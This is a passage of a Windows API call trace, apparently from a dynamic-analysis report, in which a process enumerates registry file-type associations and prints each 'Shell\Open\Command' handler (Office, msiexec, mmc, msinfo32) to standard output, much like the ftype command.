nNumberOfBytesToWrite=0x57, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x57, lpOverlapped=0x0) returned 1 [0100.764] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ms-visio=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 83 [0100.764] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.764] GetFileType (hFile=0x5c) returned 0x3 [0100.764] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.764] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-visio=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-visio=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 84 [0100.765] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x53, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x53, lpOverlapped=0x0) returned 1 [0100.765] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="ms-word=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 82 [0100.765] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.765] GetFileType (hFile=0x5c) returned 0x3 [0100.765] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ms-word=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ms-word=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 83 [0100.765] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x52, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x52, lpOverlapped=0x0) returned 1 [0100.765] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="mscfile=%SystemRoot%\\system32\\mmc.exe \"%1\" %*\r\n") returned 47 [0100.765] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.765] GetFileType (hFile=0x5c) returned 0x3 [0100.765] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.765] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mscfile=%SystemRoot%\\system32\\mmc.exe \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mscfile=%SystemRoot%\\system32\\mmc.exe \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 48 [0100.765] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x2f, lpOverlapped=0x0) returned 1 [0100.766] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSDASC=Rundll32.exe \"%CommonProgramFiles%\\System\\OLE DB\\oledb32.dll\",OpenDSLFile %1\r\n") returned 85 [0100.766] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.766] GetFileType (hFile=0x5c) returned 0x3 [0100.766] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.766] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSDASC=Rundll32.exe \"%CommonProgramFiles%\\System\\OLE DB\\oledb32.dll\",OpenDSLFile %1\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSDASC=Rundll32.exe \"%CommonProgramFiles%\\System\\OLE DB\\oledb32.dll\",OpenDSLFile %1\r\n", lpUsedDefaultChar=0x0) returned 86 [0100.766] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x55, lpOverlapped=0x0) returned 1 [0100.767] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Msi.Package=\"%SystemRoot%\\System32\\msiexec.exe\" /i \"%1\" %*\r\n") returned 60 [0100.767] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.767] GetFileType (hFile=0x5c) returned 0x3 [0100.767] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.767] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Msi.Package=\"%SystemRoot%\\System32\\msiexec.exe\" /i \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Msi.Package=\"%SystemRoot%\\System32\\msiexec.exe\" /i \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 61 [0100.920] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3c, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3c, lpOverlapped=0x0) returned 1 [0100.920] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="Msi.Patch=\"%SystemRoot%\\System32\\msiexec.exe\" /p \"%1\" %*\r\n") returned 58 [0100.920] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.920] GetFileType (hFile=0x5c) returned 0x3 [0100.920] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.920] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Msi.Patch=\"%SystemRoot%\\System32\\msiexec.exe\" /p \"%1\" %*\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Msi.Patch=\"%SystemRoot%\\System32\\msiexec.exe\" /p \"%1\" %*\r\n", lpUsedDefaultChar=0x0) returned 59 [0100.921] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x3a, lpOverlapped=0x0) returned 1 [0100.921] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSInfoFile=%SystemRoot%\\system32\\msinfo32.exe \"%1\"\r\n") returned 52 [0100.921] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.921] GetFileType (hFile=0x5c) returned 0x3 [0100.921] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.921] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSInfoFile=%SystemRoot%\\system32\\msinfo32.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSInfoFile=%SystemRoot%\\system32\\msinfo32.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 53 [0100.921] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x34, lpOverlapped=0x0) returned 1 [0100.922] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSProject.MPD=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n") returned 91 [0100.922] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.922] GetFileType (hFile=0x5c) returned 0x3 [0100.922] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.922] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.MPD=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.MPD=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0100.922] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0100.923] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSProject.MPX=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n") returned 91 [0100.923] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.923] GetFileType (hFile=0x5c) returned 0x3 [0100.923] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.923] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.MPX=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.MPX=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 92 [0100.923] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5b, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5b, lpOverlapped=0x0) returned 1 [0100.954] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSProject.Project.9=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n") returned 97 [0100.954] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.954] GetFileType (hFile=0x5c) returned 0x3 [0100.954] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Project.9=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Project.9=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98 [0100.954] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x61, lpOverlapped=0x0) returned 1 [0100.954] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSProject.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n") returned 96 [0100.954] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.954] GetFileType (hFile=0x5c) returned 0x3 [0100.954] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Template=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 97 [0100.954] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x60, lpOverlapped=0x0) returned 1 [0100.955] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSProject.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n") returned 95 [0100.955] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.955] GetFileType (hFile=0x5c) returned 0x3 [0100.955] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.UriLink.16=C:\\Program Files\\Microsoft Office\\Root\\Office16\\protocolhandler.exe \"%1\"\r\n", lpUsedDefaultChar=0x0) returned 96 [0100.955] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x5f, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x5f, lpOverlapped=0x0) returned 1 [0100.955] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x978, lpName=0x2eef50, cchName=0x104 | out: lpName="MSProject.Workspace") returned 0x0 [0100.955] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSProject.Workspace\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x64) returned 0x0 [0100.955] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x0, lpcbData=0x2eef20*=0x0 | out: lpType=0x2eef28*=0x1, lpData=0x0, lpcbData=0x2eef20*=0x98) returned 0x0 [0100.956] RegQueryValueExW (in: hKey=0x64, lpValueName=0x0, lpReserved=0x0, lpType=0x2eef28, lpData=0x3c5e10, lpcbData=0x2eef20*=0x98 | out: lpType=0x2eef28*=0x1, lpData="\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"", lpcbData=0x2eef20*=0x98) returned 0x0 [0100.956] RegCloseKey (hKey=0x64) returned 0x0 [0100.956] _vsnwprintf (in: _Buffer=0x4a0f6340, _BufferCount=0x1fff, _Format="%s=%s\r\n", _ArgList=0x2eef18 | out: _Buffer="MSProject.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n") returned 97 [0100.956] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.956] GetFileType (hFile=0x5c) returned 0x3 [0100.956] _get_osfhandle (_FileHandle=1) returned 0x5c [0100.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MSProject.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", cchWideChar=-1, lpMultiByteStr=0x4a0ec320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSProject.Workspace=\"C:\\Program Files\\Microsoft Office\\Root\\Office16\\WINPROJ.EXE\" \"%1\" /ou \"%u\"\r\n", lpUsedDefaultChar=0x0) returned 98 [0100.956] WriteFile (in: hFile=0x5c, lpBuffer=0x4a0ec320*, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0x2eeee8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesWritten=0x2eeee8*=0x61, lpOverlapped=0x0) returned 1 [0100.956] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x979, lpName=0x2eef50, cchName=0x104 | out: lpName="MSProject.XLS5") returned 0x0 [0100.956] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSProject.XLS5\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.956] SetLastError (dwErrCode=0x2) [0100.956] RegCloseKey (hKey=0x0) returned 0x6 [0100.956] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97a, lpName=0x2eef50, cchName=0x104 | out: lpName="MSProject.XLS8") returned 0x0 [0100.956] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSProject.XLS8\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.956] SetLastError (dwErrCode=0x2) [0100.957] RegCloseKey (hKey=0x0) returned 0x6 [0100.957] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97b, lpName=0x2eef50, cchName=0x104 | out: lpName="MSProject.XLTemplate") returned 0x0 [0100.957] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSProject.XLTemplate\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.957] SetLastError (dwErrCode=0x2) [0100.957] RegCloseKey (hKey=0x0) returned 0x6 [0100.957] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97c, lpName=0x2eef50, cchName=0x104 | out: lpName="MSProject.XML") returned 0x0 [0100.957] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSProject.XML\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.957] SetLastError (dwErrCode=0x2) [0100.957] RegCloseKey (hKey=0x0) returned 0x6 [0100.957] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97d, lpName=0x2eef50, cchName=0x104 | out: lpName="MSRDC.RdcLibrary") returned 0x0 [0100.957] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSRDC.RdcLibrary\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.957] SetLastError (dwErrCode=0x2) [0100.957] RegCloseKey (hKey=0x0) returned 0x6 [0100.957] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97e, lpName=0x2eef50, cchName=0x104 | out: lpName="MSRDC.RdcLibrary.1") returned 0x0 [0100.957] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSRDC.RdcLibrary.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.957] SetLastError (dwErrCode=0x2) [0100.957] RegCloseKey (hKey=0x0) returned 0x6 [0100.957] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x97f, lpName=0x2eef50, cchName=0x104 | out: lpName="MSRDC.Similarity") returned 0x0 [0100.957] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSRDC.Similarity\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.957] SetLastError (dwErrCode=0x2) [0100.957] RegCloseKey (hKey=0x0) returned 0x6 [0100.957] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x980, lpName=0x2eef50, cchName=0x104 | out: lpName="MSRDC.Similarity.1") returned 0x0 [0100.957] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSRDC.Similarity.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.958] SetLastError (dwErrCode=0x2) [0100.958] RegCloseKey (hKey=0x0) returned 0x6 [0100.958] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x981, lpName=0x2eef50, cchName=0x104 | out: lpName="MSRDC.SimilarityFileIdTable") returned 0x0 [0100.958] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSRDC.SimilarityFileIdTable\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.958] SetLastError (dwErrCode=0x2) [0100.958] RegCloseKey (hKey=0x0) returned 0x6 [0100.958] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x982, lpName=0x2eef50, cchName=0x104 | out: lpName="MSRDC.SimilarityFileIdTable.1") returned 0x0 [0100.958] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSRDC.SimilarityFileIdTable.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.958] SetLastError (dwErrCode=0x2) [0100.958] RegCloseKey (hKey=0x0) returned 0x6 [0100.958] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x983, lpName=0x2eef50, cchName=0x104 | out: lpName="MSRDC.SimilarityTraitsTable") returned 0x0 [0100.958] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSRDC.SimilarityTraitsTable\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.958] SetLastError (dwErrCode=0x2) [0100.958] RegCloseKey (hKey=0x0) returned 0x6 [0100.958] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x984, lpName=0x2eef50, cchName=0x104 | out: lpName="MSRDC.SimilarityTraitsTable.1") returned 0x0 [0100.958] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MSRDC.SimilarityTraitsTable.1\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.958] SetLastError (dwErrCode=0x2) [0100.958] RegCloseKey (hKey=0x0) returned 0x6 [0100.958] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x985, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP") returned 0x0 [0100.958] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.959] SetLastError (dwErrCode=0x2) [0100.959] RegCloseKey (hKey=0x0) returned 0x6 [0100.959] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x986, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.2") returned 0x0 [0100.959] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.2\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.959] SetLastError (dwErrCode=0x2) [0100.959] RegCloseKey (hKey=0x0) returned 0x6 [0100.959] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x987, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.2.a") returned 0x0 [0100.959] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.2.a\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.959] SetLastError (dwErrCode=0x2) [0100.959] RegCloseKey (hKey=0x0) returned 0x6 [0100.959] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x988, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.3") returned 0x0 [0100.959] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.3\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.959] SetLastError (dwErrCode=0x2) [0100.959] RegCloseKey (hKey=0x0) returned 0x6 [0100.959] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x989, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.3.a") returned 0x0 [0100.959] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.3.a\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.959] SetLastError (dwErrCode=0x2) [0100.959] RegCloseKey (hKey=0x0) returned 0x6 [0100.959] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98a, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.4") returned 0x0 [0100.959] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.4\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.959] SetLastError (dwErrCode=0x2) [0100.959] RegCloseKey (hKey=0x0) returned 0x6 [0100.959] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98b, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.4.a") returned 0x0 [0100.960] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.4.a\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.960] SetLastError (dwErrCode=0x2) [0100.960] RegCloseKey (hKey=0x0) returned 0x6 [0100.960] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98c, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.5") returned 0x0 [0100.960] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.5\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.960] SetLastError (dwErrCode=0x2) [0100.960] RegCloseKey (hKey=0x0) returned 0x6 [0100.960] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98d, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.6") returned 0x0 [0100.960] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.6\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.960] SetLastError (dwErrCode=0x2) [0100.960] RegCloseKey (hKey=0x0) returned 0x6 [0100.960] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98e, lpName=0x2eef50, cchName=0x104 | out: lpName="MsRDP.MsRDP.7") returned 0x0 [0100.960] RegOpenKeyExW (in: hKey=0x4c, lpSubKey="MsRDP.MsRDP.7\\Shell\\Open\\Command", ulOptions=0x0, samDesired=0x1, phkResult=0x2eeee0 | out: phkResult=0x2eeee0*=0x0) returned 0x2 [0100.960] SetLastError (dwErrCode=0x2) [0100.960] RegCloseKey (hKey=0x0) returned 0x6 [0100.960] RegEnumKeyW (in: hKey=0x4c, dwIndex=0x98f, 